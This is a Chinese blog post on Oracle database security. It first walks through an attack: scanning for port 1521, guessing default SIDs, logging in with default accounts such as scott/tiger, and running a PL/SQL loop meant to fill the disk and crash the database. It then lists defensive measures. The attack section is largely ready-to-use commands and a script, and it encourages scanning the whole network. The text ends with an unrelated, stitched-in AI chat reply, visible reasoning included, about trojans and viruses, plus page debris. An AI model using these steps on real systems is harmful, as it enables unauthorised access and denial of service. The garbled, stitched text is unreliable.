搞垮他的数据库--Oracle谈安全

本文通过实战案例揭示Oracle数据库的安全隐患,并提供防范措施,包括利用默认设置进行攻击、强化用户口令、合理规划文件系统等方面。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

人们经常听到Windows的安全漏洞,频繁的遭受病毒攻击等,我们的传统观念是 Windows太不安全了;实际上Unix/Linux如果配置不当,其危险性远远高出人们的想象,大部分人非常重视操作系统的安全,但作为其最重要的数 据库应用,你注意它了么?本文旨在介绍数据库级的安全,当然操作系统被攻破的话,那一切免谈。
   
    让我带你去试着攻击一台装有Oracle的机器

1、首先确定被攻击Oracle的IP地址(无目的,那就去全网扫描吧,发现1521端口打开的就挑出来,不要说连扫描都不会,F..t)

2、猜测它的SID号;好象很困难,事实上安装Oracle时有缺省值,80%的人安装时都不会去修改,或改为很容易猜测的值,比如:ORCL、ORA、 ORA8、ORA9、ORACLE、ORACLE8、ORACLE9、ORACLE8I、ORACLE817、ORACLE92...

3、连接后,猜测用户名和口令;好象更困难,事实上安装 Oracle时,SYS、SYSTEM等系统用户有缺省口令,可惜在9i中,终于改为需用户自己确定口令(不过大部分用户还是沿用以前的口令或使用 'oracle'),而且还有被人们遗忘的用户,比如SCOTT,缺省安装时他会被建立起来的。

4、sqlplus scott/tiger@ora_sid 终于登陆进来,可是这个小用户只是用来做测试学习的,我们用他来干什么呢?

键入:
SQL> select USERNAME,DEFAULT_TABLESPACE from USER_USERS;

USERNAME                       DEFAULT_TABLESPACE
------------------------------ ------------------------------
SCOTT                          USERS


SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
CREATE TRIGGER
CREATE TYPE
CREATE OPERATOR
CREATE INDEXTYPE


SQL> select * from user_ts_quotas;

TABLESPACE_NAME                     BYTES  MAX_BYTES     BLOCKS MAX_BLOCKS
------------------------------ ---------- ---------- ---------- ----------
SYSTEM                             524288          0         64          0
USERS                               65536          0          8          0

什么意思呢?

意思是我们的这个用户是数据缺省是建在USERS表空间上的,拥有建表等权限,而USERS表空间的磁盘使用是无限制的,聪明的读者应该明白我们可以在这里写入很多数据直到占满它的磁盘,造成数据库无法使用......

我们试试吧
先建张表

SQL> CREATE TABLE TEST (A CHAR(30));

这张TEST表只有一个字段A

再写个PL/SQL过程

DECLARE
v_number varchar2(30);
m_number varchar2(30):=999999999999999999999999999999;
--m_number的值代表了插入多少行数据,可修改但不能超过30位。
begin
FOR v_number IN 1..m_number LOOP
insert into TEST(A) values(m_number);
commit;
end LOOP;
end;
/

 

    上面的PL/SQL过程表示给TEST表中A列循环插入'999999999999999999999999999999'值,共计 999999999999999999999999999999行。以每行30 byte来算,共计2000000多亿T大小吧,即便他是IBM大鲨鱼的阵列存储,也扛不住。
    当然,你也可以增加几个列,减少m_number值,可以加快速度的。

    这里再提醒大家一个Oracle缺省用户DBSNMP,几乎所有稍高版本的典型安装都会创建它,危险指数高于SCOTT,因为它是创建在SYSTEM表空间的......F..t

    讲了半天,DBA们快看看自己的系统,一般来说成功率相当高。下面我们开始讲讲如何作好安全防护:

1、启用防火墙。
很多单位的数据库都没有防火墙保护,或防火墙配置为透明。实际上防火墙可以有效的阻止扫描 ,如果做了NAT、地址限制、禁止ICMP等就更好了,让别人在外网看不到你的数据库。

2、加大多层结构数据库应用的建设。
传统的C/S尽管有很多优势,但在安全性上实在令人担心。很多程序开发者会将数据库的用户名和密码直接写在客户端程序中,认为编译后会很安全,但事实上你用文本编辑器打开过这个客户端程序吗?你会吃惊的发现竟然可以看到用户名和密码。
多层结构就没有这个问题,前台就是个浏览器或简单的客户端,可能会影响效率但在需要全网公开提供服务的情况下肯定是首选。

3、去除Oracle里用不到的组件,比如Jserver、Agent、远程管理等等,这些强大的功能都是安全隐患,9I的AS存在缓冲溢出漏洞,如果你装了就做祈祷吧...

4、修改缺省用户的密码,自建用户加强口令管理和复杂度。

用system用户进入执行

SQL> select username from dba_users;

USERNAME
------------------------------
SYS
SYSTEM
OUTLN
DBSNMP
TEST
SCOTT
RMAN
TEST1


SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
SELECT ANY DICTIONARY

看看你系统到底存在哪些用户,口令修改了吗,够复杂吗,相应的权限是否有扩大的嫌疑?

5、作好数据备份

具体这里就不多说了, 优快云相关版块里有详细的帖子描述Oracle备份机制。

6、合理划分文件系统

*在Unix/Linux下使用df -k检查你的文件系统,不同用户使用不同的表空间,不同的表空间建在不同的文件系统,千万不要把应用建在SYSTEM表空间上,回滚/重做表空间的管理也不容忽视;
SQL> host df -k
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/hda2              5036316   2100832   2679652  44% /
/dev/hda3              5036316   4381292    399192  92% /oracle
none                    256144         0    256144   0% /dev/shm
/dev/hda5              2016016    863144   1050460  46% /data1
/dev/hda7              6166948    558176   5295508  10% /data2
/dev/cdrom               81762     81762         0 100% /mnt/cdrom


SQL> select file_name,tablespace_name from dba_data_fil

FILE_NAME
-------------------------------------------------------
TABLESPACE_NAME
------------------------------
/oracle/product/9.2.01/oradata/system.dbf
SYSTEM

/oracle/product/9.2.01/oradata/undotbs.dbf
UNDOTBS

/data1/oradata/data1.dbf
DATA1

/data2/oradata/data2.dbf
DATA2

 

*在Windows下,使用资源管理器检查你的分区,不同的表空间建在不同的分区上,同样千万不要把SYSTEM表空间和应用放在一起。


当然,安全管理浩如烟海,这篇文章全当抛砖引玉......
<think>好的,用户让我介绍一下木马和病毒,并且用中文回答。首先,我需要明确这两个术语的定义,以及它们的区别和共同点。用户可能对计算机安全不太熟悉,所以需要用简单易懂的语言解释,避免专业术语过多。 首先,木马,全称是特洛伊木马,这个名字来源于古希腊的故事,所以可能需要简单提一下来源,但重点还是放在计算机领域。木马的特点通常是伪装成正常程序,诱使用户安装,然后执行恶意操作,比如窃取信息、远程控制等。关键点在于木马的隐蔽性和欺骗性,它不像病毒那样自我复制,这一点需要强调。 然后是病毒,计算机病毒的特性是能够自我复制和传播,感染其他文件或系统。病毒的主要破坏方式包括删除文件、损坏数据、占用资源等。这里需要指出病毒和木马的不同之处,尤其是传播方式和目的的不同。病毒更注重破坏和传播,而木马侧重于控制和窃取。 接下来,用户可能需要知道如何防范这些威胁,所以应该简要提到防范措施,比如安装杀毒软件、不随便下载文件、更新系统等。但用户的问题主要是询问定义,所以这部分可以放在最后作为补充,不需要太详细。 还要考虑用户可能的误解,比如认为木马和病毒是一回事,需要明确区分它们的区别。例如,木马通常不会自我复制,而病毒会。同时,恶意软件是一个更大的类别,包括病毒、木马、蠕虫等,这点也可以提一下,帮助用户建立整体的概念。 用户的需求可能是基础的计算机安全知识,所以例子要贴近生活,比如邮件附件中的病毒,或者伪装成游戏外挂的木马程序,这样用户更容易理解。同时,确保语言口语化,避免过于技术化的表述,比如用“潜伏”代替“驻留内存”这样的术语。 最后检查是否有遗漏点,比如木马的远程控制功能,病毒对系统资源的占用,以及两者的传播途径差异。确保回答结构清晰,先分别介绍木马和病毒,再比较它们的区别,最后给出防范建议。</think>木马和病毒都是常见的恶意软件类型,但它们的特点和危害方式有所不同: --- ### **木马(Trojan Horse)** - **名称来源**:源自古希腊特洛伊战争中的“木马计”,通过伪装欺骗目标。 - **特点**: - **伪装性**:伪装成正常软件(如游戏、工具、破解程序等),诱骗用户主动安装。 - **不自我复制**:依赖用户主动运行,不会像病毒一样自动传播。 - **隐蔽控制**:植入后可能窃取敏感信息(如密码、银行卡号)、远程控制设备,或为其他恶意软件开后门。 - **长期潜伏**:通常长期驻留系统中,用户不易察觉。 - **常见形式**:钓鱼邮件附件、盗版软件、虚假外挂等。 ▶ 举例:伪装成“游戏修改器”的木马,运行后窃取用户的账号密码。 --- ### **病毒(Computer Virus)** - **特点**: - **自我复制**:能感染其他文件或程序,通过文件传播(如U盘、邮件、网络下载)。 - **破坏性**:可能删除文件、破坏系统功能、占用资源导致设备卡顿。 - **触发机制**:部分病毒会在特定条件(如日期、操作)下激活破坏行为。 - **常见形式**:感染可执行文件(如.exe)、文档宏病毒等。 ▶ 举例:蠕虫病毒通过邮件传播,感染后疯狂发送垃圾邮件拖慢系统。 --- ### **核心区别** | | **木马** | **病毒** | |----------|-------------------------|-----------------------| | **目的** | 窃取信息、远程控制 | 破坏系统或数据 | | **传播** | 依赖用户主动安装 | 自我复制并主动传播 | | **隐蔽性**| 长期潜伏,伪装性强 | 可能快速引发明显异常 | --- ### **如何防范?** 1. 安装可靠的安全软件,定期扫描。 2. 不随意下载不明来源的文件或破解软件。 3. 警惕邮件/链接中的可疑附件。 4. 及时更新系统和软件,修补漏洞。 **总结**:木马像“间谍”,暗中窃取信息;病毒像“破坏者”,直接搞垮系统。两者都属于恶意软件,需提高安全意识防范。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值